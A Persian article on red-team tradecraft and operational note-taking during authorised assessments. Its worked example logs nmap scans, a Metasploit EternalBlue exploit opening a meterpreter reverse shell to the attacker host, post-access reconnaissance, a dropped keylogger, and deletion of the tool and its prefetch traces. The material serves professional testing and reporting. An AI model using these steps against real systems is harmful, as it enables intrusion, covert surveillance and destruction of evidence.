<p>شگردها، هنر واقعی نهفته در یک ارزیابی خوب توسط تیم قرمز هستند. در واقع کارشناسان امنیت تهاجمی با کمک همین شگردها از تخصص فنی و مهارت‌هایی که طبق تجربه کسب کرده‌اند استفاده می‌کنند تا بهترین شبیه سازی ممکن از تهدیدات را برای یک مشتری انجام دهند. تعریف شخصی من از شگرد عملیاتی تیم قرمز سایبری، آشنایی با مرز بین احتیاط و بی‌دقتی و حرکت کردن روی همین مرز همزمان با انجام کار مورد نظر است. اعضای یک تیم قرمز حرفه‌ای فقط باید در حدی خلاق و بی‌پروا عمل کنند تا امکان انجام تکمیل ارزیابی به صورت امن در بازه تعیین شده فراهم شود و فقط به اندازه‌ای روشمند و با احتیاط عمل کنند که حین اجرای ارزیابی شناسایی نشوند. مثلاً اجرای شگرد استفاده از اکسپلویت‌هایی مثل MS17-010 که ریسک ریبوت کردن سیستم را دارند، می‌تواند تصمیم خوبی باشد به این شرط که هیچ یک از راه‌های دیگر اجرای تست ممکن نباشد و (در صورت لزوم) درباره این موضوع با مشتری توافق شده باشد.</p>
<p>استفاده از یک اکسپولیت هسته سیستم‌عامل فقط برای شتاب بخشیدن به کارها بدون بررسی امکان اجرای سایر روش‌ها مثل یک اسکریپت از نوع <a href="#_ftn2" name="_ftnref2">[2]</a>world writeable که توسط کاربر ریشه<a href="#_ftn3" name="_ftnref3">[3]</a> اجرا می‌شود و ریسک کمتری برای هدف دارد، یک شگرد ضعیف محسوب می‌شود. معمولاً خیلی از تیم‌های قرمز این توانایی را دارند که از مرز بی‌احتیاطی عبور نکنند اما عمل کردن به صورت بسیار روشمند یا محتاط مسئله‌ای است که حتی ممکن است هکرهای اخلاقی بسیار توانمند هم در آن مشکل داشته باشند. طبق تجربه، دو مسئله وجود دارد که می‌تواند باعث شود یک ارزیاب بسیار عالی برای انجام کارآمد و مؤثر وظایف به کندی پیش برود؛ برخی از ارزیاب‌ها اسیر وسوسه پدیده لانه خرگوش<a href="#_ftn4" name="_ftnref4">[4]</a> می‌شوند و برخی دیگر ترس از گیر افتادن دارند.</p>
<p>معمولاً هکرهای اخلاقی افراد به شدت محتاطی هستند که باید در یک ارزیابی با چالش‌های مختلفی روبرو شوند. این موضوع برای خود ارزیابی مفید است اما از جهات مختلف می‌تواند مانع موفقیت شود. این لانه‌های خرگوش معمولاً حکم سینکی را دارند که توجه تیم ارزیابی را از هدف اصلی یعنی ارتقای وضعیت امنیت سازمان از طریق یک ارزیابی حرفه‌ای، دور می‌کنند. دنبال کردن یک لانه خرگوش نیازمند تلاش بسیار زیاد برای کاوش کامل این مسیر است و ممکن است به کل فرایند ارزیابی کمکی نکند.</p>
<p>مثلاً فرض کنید با یک اسکن مشخص می‌شود که 10 میزبان در برابر اجرای کد از راه دور آسیب‌پذیر هستند و بعد یک ارزیاب از این اطلاعات برای دسترسی سطح بالا به یک سیستم استفاده می‌کند. حالا در نیمی از سیستم‌ها، آسیب‌پذیری‌های نسبتاً ساده ارتقای سطح دسترسی وجود دارد که می‌توان برای بررسی همه سیستم‌ها از آنها استفاده کرد و در نیمی از سیستم‌ها چنین امکانی وجود ندارد. ممکن است تلاش برای ارتقای سطح دسترسی در یک یا چند مورد از سیستم‌ها، تیم ارزیابی را به جای استفاده از ماشین‌هایی که دسترسی به آنها راحت بوده و می‌توانند حاوی اطلاعات ارزشمند مشابه یا بیشتری باشند، درگیر شکست دادن این چالش کند. هنگام روبرو شدن با چالش‌های هر سیستم، ممکن است توجه به نیازهای مهم‌تر ارزیابی کلی، بسیار سخت باشد. توانایی در نظر گرفتن اولویت حمله به خود سازمان به جای مقابله با هر چالش، برای انجام کار مورد نظر و انتخاب شگردهای خوب اهمیت زیادی دارد.</p>
<p>در یکی از مأموریت‌های ما، تیم ارزیابی در ابتدا توانست از راه دور به یک سرور وب دسترسی پیدا کند اما اطلاعات پیدا شده در سیستم کمکی به حرکت بیشتر در شبکه نکرد. در ارزیابی اولیه سیستم، ارزیاب اول فایلی را پیدا کرد که حاوی کلیدهای رابط برنامه نویسی اپلیکیشن (API<a href="#_ftn5" name="_ftnref5">[5]</a>) بود و چند هفته تلاش کرد تا با APIهای موجود در سایر سیستم‌های شبکه تعامل برقرار کرده و از آنها استفاده کند &#8211; اما در نهایت متوجه شد که دسترسی همه آنها به سیستم‌های راه دور بسیار محدود یا در حد صفر بودند. پس از اینکه ارزیاب اول مشغول به یک ارزیابی دیگر شد، ارزیاب بعدی ظرف چند دقیقه متوجه شد که پوشه .ssh چند کاربر حاوی کلیدهای SSH بوده که با استفاده از آنها می‌توانستند به خیلی از سیستم‌های سازمان دسترسی پیدا کرده و نفوذ را ادامه دهند. در این مورد واضح است که ارزیاب اول با مشاهده چالش جذاب سوء استفاده از کلیدهای API گرفتار تله لانه خرگوش شده و همین موضوع باعث تلف شدن چند هفته از وقت ارزیابی شده در حالی که ارزیاب می‌توانست با بررسی کامل‌تر سیستم به کلیدهای SSH دسترسی پیدا کرده و به سایر میزبان‌های شبکه نفوذ کند. دانستن حد مناسب برای دست کشیدن از یک چالش فقط با تجربه زیاد ممکن است.</p>
<p>برای یک هکر اخلاقی بحث نخبه گرایی هم اهمیت زیادی دارد و معمولاً برای اعضای تیم قرمز هیچ حسی بدتر از گیر افتادن حین فعالیت در یک سازمان نیست. همه ما مایل هستیم که نینجاهای سایبری مرموز و حرفه‌ای باشیم و کارکنان امنیت سایبری سازمان هیچ وقت این موضوع را که ما دچار اشتباه شدیم و ما را در سیستم‌های سازمان شناسایی کرده‌اند، به رخ‌مان نکشند. این موضوع می‌تواند باعث شود که حتی افراد مجرب در حوزه امنیت تهاجمی با تمام تلاش سعی کنند مخفی بمانند تا به خاطر گیر افتادن و شناسایی شدن، شرمسار نشوند. قطعاً احتیاط هم تا حدی لازم است و تیم قرمز باید سعی کند بین ترافیک و نویز شبکه مخفی شود. این یعنی وقتی که یک اکسپلویت مثل MS17-010 برای بهره برداری از راه دور وجود دارد اما مشخص شده که همان سیستم یک مخزن بدون احرازهویت برای جابجایی فایل‌ها دارد، مهاجم ابتدا سعی می‌کند با ترکیب شدن در فعالیت‌های معمولی با استفاده از همان مخزن مشترک به سیستم دسترسی پیدا کند. ارزیاب با نقشه برداری از مخزن، نصب یک ابزار دسترسی راه دور روی سیستم و اجرای آن از طریق فرمان‌های معمولی و محلی سیستم (مثل فرمان‌هایی که یک کاربر معمولی انجام می‌دهد)، بین ترافیک و نویز شبکه مخفی می‌شود و از اجرای اکسپلویت که می‌تواند منجر به تولید ترافیک ناهنجار شود، خودداری می‌کند.</p>
<p>همچنین برای پنهان شدن بین نویز شبکه باید تا حداکثر میزان ممکن از جریان‌های مدیریت و ارتباطی مدیران سازمان بهره برداری کرد. این یعنی استفاده از پروتکل‌هایی مثل SSH، ریموت دسکتاپ و اعتبارنامه‌های کاربری به دست آمده برای جابجایی و حرکت در شبکه. چنین فعالیت‌هایی به مهاجمان امکان می‌دهد که مثل سایر کاربران معمولی سازمان به نظر برسند و در عین حال فعالیت‌های مخرب را به تأخیر نیندازند. همچنین ممکن است عمل کردن شبیه به یک کاربر غیرمخرب مستلزم ایجاد حداقل ردپای ممکن باشد مثلاً با اضافه کردن یک کلید SSH دوم برای یک کاربر خاص جهت حفظ دسترسی به سیستم به جای نصب یک ابزار دسترسی از راه دور. همه این موارد احتیاط و پنهان شدن بین نویز شبکه، جزء شگردهای خوب هستند. روش بد این است که تیم ارزیابی بیش از حد نگران گیر افتادن باشد در حدی که از بهره برداری از اکسپلویت‌های پرنویز خودداری کند حتی با اینکه سایر روش‌ها بی‌نتیجه بوده‌اند تنها به این دلیل که تیم ارزیابی ترجیح داده که به جای شناسایی شدن توسط ابزارهای امنیتی، نتایج کمتری برای گزارش دادن داشته باشد. این یک روش ضعیف و غیرحرفه‌ای برای اجرای عملیات تیم قرمز است چون هدف اصلی، ارتقای وضعیت امنیت سازمان به حداکثر میزان ممکن است نه عمل کردن به مخفیانه‌ترین حالت. اگر کارمندان بخش امنیت سازمان توانایی مقابله با بیشتر تهدیدات را داشته باشند و بعد شما را شناسایی کنند، فراموش نکنید که شما یک فرد حرفه‌ای هستید که یک وظیفه شغلی مشخص دارد و آنها مشتری شما هستند.</p>
<h2><a name="_Toc144125115"></a>یادداشت‌های عملیاتی</h2>
<p>بین همه کارهایی که حتی هکرهای خیلی خوب هم در انجام آن ضعف دارند، احتمالاً یادداشت برداری از عملیات مهم‌ترین مورد است. این ضعف به هیچ وجه خوشایند نیست چون یادداشت برداری درست می‌تواند یکی از مفیدترین ابزارها برای اجرای عملیات تیم قرمز باشد. یادداشت‌های عملیاتی به همکاری و حل مسئله در تیم‌های بزرگتر کمک می‌کنند؛ این یادداشت‌ها به حفظ آگاهی مشتری و مدیر عملیاتی سازمان از فعالیت‌های تیم قرمز کمک کرده و نقش مهمی در گزارش دهی خوب و کمک به مقابله با تهدیدات شناسایی شده در سازمان دارند. همچنین، تهیه یادداشت‌های عملیاتی جامع می‌تواند برای پیشگیری از وارد شدن اتهام سهل انگاری یا ارتکاب فعالیت‌های نامناسب به تیم قرمز جلوگیری کند. یادداشت‌های عملیاتی باید همه فعالیت‌ها را پوشش دهند و باید زمان اجرای فعالیت و توضیحات آن هم در یادداشت مشخص شود.</p>
<p>در جلسه ارایه خلاصه یکی از ارزیابی‌ها، تیم نظارتی سازمان در جلسه حضور داشتند و هنگام توضیح روش‌های بهره برداری و نفوذ ما، با تعجب و شگفتی به ما زل زده بودند. بعد از جلسه، اعضای این تیم از ما پرسیدند که آیا در رابطه با زمان و مکان نفوذ، میزبان‌هایی که به آنها دسترسی پیدا کردیم و سطح دسترسی مورد استفاده اطلاعات کاملی داریم یا خیر چون مطمئن بودند که باید در رابطه با فعالیت‌های ما در سیستم هشدار دریافت می‌کردند. من با استفاده از یادداشت‌های عملیاتی مفصلی که تهیه کرده بودم، توانستم اطلاعات لازم را در اختیار آنها قرار دهم تا با مراجعه به گزارش‌های ثبت وقایع و داده‌های مربوط به جریان اطلاعات در شبکه، آثار ناشی از فعالیت‌های ما را پیدا کرده و به هم ارتباط دهند. در نهایت، این تیم نظارتی متوجه شد که حتی اطلاعات مناسب و مرتبط را در اختیار ندارد چه برسد به قابلیت صدور هشدار در سیستم‌ها و ما به آنها توضیح دادیم که چندین مورد از تپ‌های شبکه را اشتباه پیاده سازی کرده‌اند. اگر این یادداشت‌های عملیاتی حرفه‌ای را نداشتیم، طی کردن این مرحله مهم برای ارتقای وضعیت امنیتی سازمان ممکن نبود. ارزیابی که ما آن را خلاصه کرده بودیم، تقریباً یک ماه قبل انجام شده بود و بررسی گزارش وقایع فریم ورک اکسپلویت ما و سایر آثار فعالیت‌های تیم ارزیابی کار بسیار زمانبری بود و به اطلاعات مناسب منتهی نمی‌شد.</p>
<p>یادداشت‌های خوب علاوه بر مفید بودن برای سازمان مشتری، به تیم ارزیابی هم امکان می‌دهند که به سرعت تشخیص دهند آیا برخی از گزارش‌های وقایع یا سایر آثار موجود در سیستم به فعالیت‌های آنها روی میزبان‌های مختلف ارتباط دارند یا خیر. به خصوص این موضوع در ارزیابی‌های مشارکتی که در آنها همزمان چندین نفر در سازمان مشغول فعالیت هستند، اهمیت زیادی دارد. تهیه یادداشت‌های عملیاتی سازماندهی شده و استانداردسازی شده توسط افراد دخیل در عملیات، به حفظ هماهنگی بین افراد کمک کرده و این امکان را فراهم می‌کند که مثلاً یک ارزیاب به ارزیابی دیگر هشدار دهد که ممکن است اقداماتش باعث بروز مشکل یا شناسایی تیم قرمز شود. همچنین، قرار دادن این یادداشت‌ها در دسترس سازمان مشتری در صورت شناسایی علائم نفوذ به تشخیص هر چه سریع‌تر فعالیت‌های تیم قرمز از فعالیت‌های مخرب واقعی کمک می‌کند. تماس اضطراری نیمه شب برای بررسی گزارش وقایع روی سیستم میزبان حمله تیم ارزیابی، جهت اطمینان از اینکه این علائم مربوط به حمله واقعی نیستند، رفتار چندان جالب و حرفه‌ای نیست.</p>
<p>به طور کلی یادداشت‌های عملیاتی که تعاملات سیستمی را پوشش می‌دهند، مربوط به یکی از این چهار مرحله هستند: سرشماری و بهره برداری، آگاهی پس از دسترسی، دستکاری سیستم و رها کردن هدف. در ادامه نگاهی به اطلاعاتی داریم که باید از ابتدا تا انتهای بهره برداری از سیستم‌ها، از آنها یادداشت برداری کرد. توضیحات ارایه شده جامع نیستند و ممکن است اضافه کردن موارد دیگر هم خوب باشد اما هدف این بوده که حداقل نکات لازم برای یادداشت برداری مرور شوند. در انتها یک نمونه قالب گزارش هم ارایه شده است.</p>
<h3><a name="_Toc144125116"></a>سرشماری و بهره برداری</h3>
<p>باید همه فعالیت‌های سرشماری و بهره برداری با جزئیات کافی در یادداشت‌های عملیاتی ذکر شوند تا کار انجام شده توسط ارزیاب‌ها مشخص شود. اولین ابزاری که ممکن است یک تیم قرمز استفاده کند، ابزار اسکن شبکه برای شناسایی اهداف بالقوه است. برچسب زمان، منشأ اسکن و فرمان مورد استفاده برای شروع اسکن هم در یادداشت‌ها مشخص می‌شود:</p>
<p style="text-align: left;">11:52 AM 8/19/2018 from 192.168.96.4 running nmap -sS -p 22,445,3389,80,443</p>
<p style="text-align: left;">192.168.97.0/24</p>
<p>فرض کنید با اجرای این فرمان مشخص می‌شود که پورت 445 میزبان 192.168.97.128 باز است و ارزیاب به این نتیجه می‌رسد که پیگیری این هدف خوب است اما قبل از آن باید مشخص شود که چه سیستم‌عاملی روی این میزبان اجرا می‌شود تا اکسپلویت مناسب را انتخاب کند.</p>
<p>در اینجا باید بخش‌های مناسبی از پاسخ را در یادداشت‌ها ثبت کرد تا بعداً امکان ارجاع به آنها توسط تیم پیگیری یا در گزارشات و خلاصه‌ها وجود داشته باشد:</p>
<p style="text-align: left;">11:58  AM 8/19/2018 from 192.168.96.4 running nmap  -O -v 192.168.97.128</p>
<p style="text-align: left;">Aggressive OS guesses: Microsoft Windows 10 1703 (92%)</p>
<p style="text-align: left;">(حدس تهاجمی سیستم‌عامل: مایکروسافت ویندوز 10 1703 (92 درصد))</p>
<p>سپس ارزیاب به این نتیجه می‌رسد که با توجه به در اختیار نداشتن اعتبارنامه‌های کاربری (نام کاربری و رمزعبور)، تنها اکسپلویت قابل استفاده MS17-010 SMBv1 است و قبل از اینکه به شکل بیهوده باعث تولید ترافیک ناهنجار توسط اکسپلویت شود، از نصب نبودن وصله‌های امنیتی اطمینان حاصل می‌کند:</p>
<p style="text-align: left;">12:10 PM 8/19/2018 from 192.168.96.4 nmap -Pn -p445 -script smb-vuln-ms17-</p>
<p style="text-align: left;">010 -v 192.168.97.128</p>
<p style="text-align: left;">smb-vuln-ms17-010:</p>
<p style="text-align: left;">VULNERABLE:</p>
<p style="text-align: left;">Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)</p>
<p style="text-align: left;">State: VULNERABLE</p>
<p style="text-align: left;">IDs: CVE:CVE-2017-0143</p>
<p style="text-align: left;">Risk factor: HIGH</p>
<p style="text-align: left;">A critical remote code execution vulnerability exists in Microsoft SMBv1</p>
<p style="text-align: left;">servers (ms17-010).</p>
<p>اجرای کد از راه دور در سرورهای SMBv1 مایکروسافت (ms17-010)</p>
<p>وضعیت: آسیب‌پذیر، ضریب ریسک: بالا، یک آسیب‌پذیری اجرای کد از راه دور در سرورهای SMBv1 مایکروسافت (ms17-010) وجود دارد.</p>
<p>پس از تشخیص آسیب‌پذیر بودن سیستم هدف 192.168.97.128، ارزیاب شروع به اجرای اکسپلویت می‌کند. درج اطلاعات همه فرمان‌های قبلی به همراه اطلاعات مربوط به اکسپلویت لازم است مثل خود پی‌لود:</p>
<p style="text-align: left;">12:14 PM 8/19/2018 from 192.168.96.4 msf exploit(ms17_010_eternalblue) &gt;</p>
<p style="text-align: left;">exploit against 192.168.97.128 on TCP port 445 with the following payload</p>
<p style="text-align: left;">option: (windows/x64/meterpreter/reverse_https) and a locally listening</p>
<p style="text-align: left;">port of 443</p>
<p style="text-align: left;">[+] 192.168.97.128:445 &#8211; ETERNALBLUE overwrite completed successfully</p>
<p style="text-align: left;">(0xC000000D)!</p>
<p style="text-align: left;">[*] Meterpreter session 1 opened (192.168.96.4:443 -&gt; 192.168.97.128:63687)</p>
<h3><a name="_Toc144125117"></a>آگاهی پس از دسترسی</h3>
<p>قسمت بعدی یادداشت‌های عملیاتی، مربوط به اقداماتی است که ارزیاب پس از دسترسی انجام می‌دهد و شروع این اقدامات، تعامل با هدف راه دور است. فرمان‌های زیر به کسب اطلاعات وضعیتی مناسب درباره این محیط راه دور کمک می‌کنند:</p>
<p style="text-align: left;">12:15 PM 8/19/2018 on 192.168.97.128 meterpreter &gt;getuid</p>
<p style="text-align: left;">Server username: NT AUTHORITY\SYSTEM</p>
<p>این یادداشت مشخص کننده سطح دسترسی است که از طریق اجرای اکسپلویت راه دور به دست آمده و اینکه آیا پس از نفوذ به هدف ارتقای سطح دسترسی ضروری است یا خیر.</p>
<p style="text-align: left;">12:16 PM 8/19/2018 on 192.168.97.128 meterpreter &gt; sysinfo</p>
<p style="text-align: left;">meterpreter &gt; sysinfo</p>
<p style="text-align: left;">Computer : DOVREGUBBEN</p>
<p style="text-align: left;">OS : Windows 10</p>
<p style="text-align: left;">Architecture : x64</p>
<p style="text-align: left;">System Language : en_US</p>
<p style="text-align: left;">Domain : TROLLHOME</p>
<p style="text-align: left;">Logged On Users : 2</p>
<p style="text-align: left;">Meterpreter : x64/windows</p>
<p>این یادداشت‌ها اطلاعات بسیار ارزشمندی در رابطه با آگاهی وضعیتی فراهم می‌کنند از جمله زبان نصب شده روی سیستم‌عامل که بر برخی ابزارها و اکسپلویت‌ها تأثیرگذار است و تعداد کاربرانی که وارد سیستم شده‌اند. با توجه به وجود دو کاربر، ممکن است ارزیاب به دنبال مشخص کردن ادمین بودن آنها باشد چون در این صورت احتمالاً چنین کاربرانی اطلاعات امنیتی بیشتری داشته و از حضور مهاجم روی سیستم آگاه‌تر هستند. ارزیاب در ابتدا با استفاده از یک ابزار یک پوسته ایجاد می‌کند و بعد با استفاده از فرمان‌های سیستم محلی به اجرای این فرایند ادامه می‌دهد:</p>
<p style="text-align: left;">12:17 PM 8/19/2018 on 192.168.97.128 meterpreter &gt; shell</p>
<p style="text-align: left;">Process 1775 created.</p>
<p style="text-align: left;">12:18 PM 8/19/2018 on 192.168.97.128 query user</p>
<p style="text-align: left;">USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME</p>
<p style="text-align: left;">&gt;Administrator console 1 Active none 8/19/2018 12:05 PM</p>
<p>این فرمان نشان می‌دهد که یک ادمین در سیستم فعال است و ورود به سیستم توسط ادمین تقریباً در همان زمانی که اکسپلویت اجرا شده، صورت گرفته است. همچنین مشخص می‌شود که ادمین فعال است و در وضعیت بیکار<a href="#_ftn6" name="_ftnref6">[6]</a> قرار ندارد. بدون شک این موضوع بر سطح ریسک قابل قبول برای فعالیت در سیستم تأثیرگذار است. قابلیت‌های تعلیق و بازیابی<a href="#_ftn7" name="_ftnref7">[7]</a> می‌توانند بر اطلاعات به دست آمده از این فرمان تأثیرگذار باشند بنابراین همیشه این نکته را در نظر داشته باشید. با توجه به اینکه محبوبیت مجازی سازی روزبروز بیشتر می‌شود ارزیاب باید در جریان باشد که این موضوع می‌تواند بر زمان بیکار بودن هم تأثیر داشته باشد.</p>
<p>سپس ارزیاب مشخص می‌کند که از نظر هدف جدید، ساعت و تاریخ جاری چیست. هنگام ارتباط دادن فعالیت‌های نظارتی و گزارش وقایع، ارزیاب برای پاکسازی آثار پس از بهره برداری یا وقتی نیاز به رفع تضاد با یکی از موجودیت‌های نظارتی در خلاصه فعالیت‌ها داشته باشد، زمان هدف از جمله اطلاعات مهم خواهد بود. بسیاری از سازمان‌ها فعالیت‌های بین المللی و مراکز داده‌ای در مکان‌های مختلف دارند به خصوص با توجه به افزایش محبوبیت خدمات ابر. مثلاً ممکن است یک شرکت در آمریکا میزبان چند دستگاه در کلاسترهای AWS ایرلند باشد. اگر برچسب زمان فرمان و زمان جاری سیستم غیرفعال باشند، ارزیاب باید این نکته را در نظر داشته باشد.</p>
<p style="text-align: left;">12:20 PM 8/19/2018 on 192.168.97.128 time</p>
<p style="text-align: left;">The current time is: 12:20:22.12</p>
<p>از آنجایی که بین زمان سیستم و زمان حمله به سیستم تفاوت چشمگیری وجود ندارد، ارزیاب می‌تواند به این نتیجه برسد که هر گونه اطلاعاتی با برچسب زمانی در نودهای عملیاتی باید ارتباط نزدیکی با رویدادهای سیستم هدف داشته باشند.</p>
<p>ارزیاب باید برای به دست آوردن اطلاعات زمینه‌ای بیشتر درباره هدف، با فرایندها و اتصالات فعال آشنایی پیدا کند. خروجی این فرمان‌ها بسیار طولانی است به همین دلیل نتایج برش خورده و کوتاه‌تر شده‌اند:</p>
<p style="text-align: left;">12:23  PM 8/19/2018 on 192.168.97.128 tasklist</p>
<table>
<tbody>
<tr>
<td width="132">Image Name</td>
<td width="42">PID</td>
<td width="117">Session Name</td>
<td width="83">Session#</td>
<td width="99">Mem Usage</td>
</tr>
<tr>
<td width="132">System Idle Process</td>
<td width="42">0</td>
<td width="117">Services</td>
<td width="83">0</td>
<td width="99">8 K</td>
</tr>
<tr>
<td width="132">System</td>
<td width="42">4</td>
<td width="117">Services</td>
<td width="83">0</td>
<td width="99">140 K</td>
</tr>
<tr>
<td width="132">Registry</td>
<td width="42">88</td>
<td width="117">Services</td>
<td width="83">0</td>
<td width="99">8,692 K</td>
</tr>
<tr>
<td width="132">smss.exe</td>
<td width="42">328</td>
<td width="117">Services</td>
<td width="83">0</td>
<td width="99">992 K</td>
</tr>
<tr>
<td width="132">csrss.exe</td>
<td width="42">444</td>
<td width="117">Services</td>
<td width="83">0</td>
<td width="99">4,644 K</td>
</tr>
<tr>
<td width="132">csrss.exe</td>
<td width="42">520</td>
<td width="117">Console</td>
<td width="83">1</td>
<td width="99">4,540 K</td>
</tr>
<tr>
<td width="132">wininit.exe</td>
<td width="42">540</td>
<td width="117">Services</td>
<td width="83">0</td>
<td width="99">5,884 K</td>
</tr>
<tr>
<td width="132">winlogon.exe</td>
<td width="42">584</td>
<td width="117">Console</td>
<td width="83">1</td>
<td width="99">9,380 K</td>
</tr>
<tr>
<td width="132">services.exe</td>
<td width="42">656</td>
<td width="117">Services</td>
<td width="83">0</td>
<td width="99">8,472 K</td>
</tr>
<tr>
<td width="132">lsass.exe</td>
<td width="42">672</td>
<td width="117">Services</td>
<td width="83">0</td>
<td width="99">14,968 K</td>
</tr>
<tr>
<td width="132">svchost.exe</td>
<td width="42">792</td>
<td width="117">Services</td>
<td width="83">0</td>
<td width="99">3,556 K</td>
</tr>
<tr>
<td width="132">cmd.exe</td>
<td width="42">1775</td>
<td width="117">Services</td>
<td width="83">0</td>
<td width="99">27,376 K</td>
</tr>
<tr>
<td width="132">dwm.exe</td>
<td width="42">516</td>
<td width="117">Console</td>
<td width="83">1</td>
<td width="99">88,240 K</td>
</tr>
<tr>
<td width="132">tasklist.exe</td>
<td width="42">3688</td>
<td width="117">Console</td>
<td width="83">1</td>
<td width="99">7,476</td>
</tr>
</tbody>
</table>
<p>در این فهرست پردازش‌های هدف، ارزیاب متوجه حضور پوسته‌ای می‌شود که در cmd.exe ایجاد کرده بود و سه موضوع را بررسی می‌کند. اول مرور کلی بر پردازش‌ها است که نشان می‌دهد که آیا نرم‌افزار امنیتی وجود دارد اکسپولیت دسترسی را شناسایی کرده یا بعداً سایر اقدامات را شناسایی کند یا خیر. سپس ارزیاب به دنبال پردازش‌های بالقوه‌ای است که می‌توانند سطح حمله بیشتری روی این میزبان‌ها یا میزبان‌های دیگر ایجاد کنند. در نهایت، ارزیاب وجود پردازش‌هایی را جستجو می‌کند که می‌توانند نشان دهنده نفوذ توسط یک میزبان مخرب به این ماشین باشند. حتی حین اجرای مأموریت هم اعضای تیم قرمز می‌توانند در سنگر سیستم‌های یک سازمان نقش یک خط دفاعی مهم را بازی کنند. این سه دلیل تحلیل، برای پورت‌های شنونده در سیستم هم قابل استفاده هستند تا فرایندهای در حال ارتباط را مشخص کنند:</p>
<p style="text-align: left;">12:26  PM 8/19/2018 on 192.168.97.128 netstat -ano</p>
<p>اتصالات فعال</p>
<table>
<tbody>
<tr>
<td width="120">  Proto</td>
<td width="141">Local Address</td>
<td width="121">Foreign Address</td>
<td width="122">State</td>
<td width="120">PID</td>
</tr>
<tr>
<td width="120">  TCP</td>
<td width="141">0.0.0.0:135</td>
<td width="121">0.0.0.0:0</td>
<td width="122">LISTENING</td>
<td width="120">980</td>
</tr>
<tr>
<td width="120">  TCP</td>
<td width="141">0.0.0.0:445</td>
<td width="121">0.0.0.0:0</td>
<td width="122">LISTENING</td>
<td width="120">4</td>
</tr>
<tr>
<td width="120">  TCP</td>
<td width="141">0.0.0.0:1536</td>
<td width="121">0.0.0.0:0</td>
<td width="122">LISTENING</td>
<td width="120">540</td>
</tr>
<tr>
<td width="120">  TCP</td>
<td width="141">0.0.0.0:1537</td>
<td width="121">0.0.0.0:0</td>
<td width="122">LISTENING</td>
<td width="120">1332</td>
</tr>
<tr>
<td width="120">  TCP</td>
<td width="141">0.0.0.0:1538</td>
<td width="121">0.0.0.0:0</td>
<td width="122">LISTENING</td>
<td width="120">1400</td>
</tr>
<tr>
<td width="120">  TCP</td>
<td width="141"> 0.0.0.0:1539</td>
<td width="121">0.0.0.0:0</td>
<td width="122">LISTENING</td>
<td width="120">672</td>
</tr>
<tr>
<td width="120">  TCP</td>
<td width="141">0.0.0.0:1540</td>
<td width="121">0.0.0.0:0</td>
<td width="122">LISTENING</td>
<td width="120">2660</td>
</tr>
<tr>
<td width="120">  TCP</td>
<td width="141">0.0.0.0:1541</td>
<td width="121">0.0.0.0:0</td>
<td width="122">LISTENING</td>
<td width="120">656</td>
</tr>
<tr>
<td width="120">  TCP</td>
<td width="141">0.0.0.0:1640</td>
<td width="121">0.0.0.0:0</td>
<td width="122">LISTENING</td>
<td width="120">8428</td>
</tr>
<tr>
<td width="120">  TCP</td>
<td width="141">0.0.0.0:5040</td>
<td width="121">0.0.0.0:0</td>
<td width="122">LISTENING</td>
<td width="120">5480</td>
</tr>
<tr>
<td width="120">  TCP</td>
<td width="141">169.254.105.111:139</td>
<td width="121">0.0.0.0:0</td>
<td width="122">LISTENING</td>
<td width="120">4</td>
</tr>
<tr>
<td width="120">  TCP</td>
<td width="141">192.168.97.128:139</td>
<td width="121">0.0.0.0:0</td>
<td width="122">LISTENING</td>
<td width="120">4</td>
</tr>
<tr>
<td width="120">  TCP</td>
<td width="141">192.168.97.128:1719</td>
<td width="121">192.168.96.4:443</td>
<td width="122">ESTABLISHED</td>
<td width="120">3160</td>
</tr>
</tbody>
</table>
<p>در اینجا، ارزیاب مشاهده می‌کند که اتصالات مربوط به ابزار دسترسی از راه دور از طریق پورت 443 با سیستم حمله ارتباط برقرار می‌کنند. هنگام استفاده از این فرمان‌ها در پوسته‌ای که به صورت محلی روی سیستم ایجاد شده، باید دقت داشت که فرمان‌هایی مثل tasklist و netstat معمولاً توسط بدافزارها دستکاری یا جایگزین می‌شوند تا وقتی توسط کاربران اجرا می‌شوند، از خروجی پنهان شوند. بنابراین، نبود موارد مشکوک در این فرمان‌ها تضمینی بر آلوده نبودن سیستم به بدافزارهای غیرمتعلق به تیم قرمز نیست.</p>
<h3><a name="_Toc144125118"></a>دستکاری سیستم</h3>
<p>وقتی آگاهی وضعیتی درباره سیستم راه دور به دست آمد، ممکن است ارزیاب با انجام کارهایی برای دستکاری هدف، به فعالیت‌های شبیه سازی حمله ادامه دهد. یک نمونه رایج و لازم از چنین فعالیت‌هایی، ارتقای سطح دسترسی است. ممکن است یک اکسپلویت مورد استفاده برای یک سیستم ویندوزی منجر به نتیجه در یک زمینه سیستم خاص<a href="#_ftn8" name="_ftnref8">[8]</a> نشود مثل MS17-010. یا ممکن است به دنبال اجرای فایل .exe خودمان باشیم که شاید یک کی لاگر باشد. برای مثال فرض کنید کی لاگر را به صورت فایل nastyknife.exe در پوشه C:\windows\system32\ قرار داده باشیم. اول باید مطمئن شویم که این کی‌لاگر با موفقیت به سیستم هدف منتقل شده و سپس آن را اجرا می‌کنیم:</p>
<p style="text-align: left;">12:26  PM 8/19/2018 on 192.168.97.128 dir C:\windows\system32\nastyknife.exe</p>
<p style="text-align: left;">8/19/2018  12:25 PM            27 ,648 nastyknife.exe</p>
<p style="text-align: left;">1 File(s)       27 ,648 bytes</p>
<p style="text-align: left;">12:27  PM 8/19/2018 on 192.168.97.128 C:\windows\system32\nastyknife.exe</p>
<p>پس از تکمیل اجرای ابزار می‌توانیم با انجام یکسری پاکسازی، کار ادمین‌ها را برای پیدا کردن خودمان سخت‌تر کنیم. این یکی از روش‌های رایج دستکاری فایل در سیستم‌های هدف است که امکان مخفی ماندن تیم قرمز را فراهم می‌کند.</p>
<p style="text-align: left;">12:43 PM 8/19/2018 on 192.168.97.128 del C:\windows\system32\nastyknife.exe</p>
<p style="text-align: left;">12:44 PM 8/19/2018 on 192.168.97.128 dir C:\windows\system32\nastyknife.exe</p>
<p style="text-align: left;">File Not Found</p>
<p>ممکن است ما به عنوان مهاجم نیاز به پاکسازی آثار ایجاد شده توسط سیستم داشته باشیم که نشان دهنده اجرای یک ابزار روی سیستم هستند و سپس خود ابزار را پاک کنیم. یک نمونه از این آثار پوشه prefetch ویندوز است که نرم‌افزارهای اخیر را پیگیری می‌کند. خروجی زیر این نکته را مشخص می‌کند:</p>
<p style="text-align: left;">12:45  PM 8/19/2018 on 192.168.97.128 dir C:\windows\prefetch</p>
<p style="text-align: left;">08/19/2018 12:07 PM             14 ,645 NASTYKNIFE.pf</p>
<p>قطعاً باید این ارجاع به ابزار خودمان را پاکسازی کنیم:</p>
